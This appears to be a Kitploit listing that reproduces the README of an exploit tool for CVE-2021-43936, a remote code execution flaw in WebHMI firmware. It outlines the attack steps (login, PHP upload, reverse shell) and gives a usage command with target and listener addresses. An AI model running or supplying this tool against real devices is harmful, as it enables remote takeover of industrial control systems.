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CVE-2021-43936 — CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware. | Kitploit
Tools/GitHubGitHub/longwayhomie/cve-2021-43936
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHublongwayhomie/cve-2021-43936

CVE-2021-43936

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.

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974 years agoNot yet reviewed

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CVE-2021-43936

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.
This vulnerability works on versions 4.0 and the newest ones.
Tested only on 4.0.7475. Vulnerability is used by script in the following steps:

  1. Logs into the application
  2. Uploads the PHP code execution script
  3. Sends the reverse shell payload

Exploit can fail, if there are more than one NIC attached. The solution is to try once again.

Usage example:

python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80

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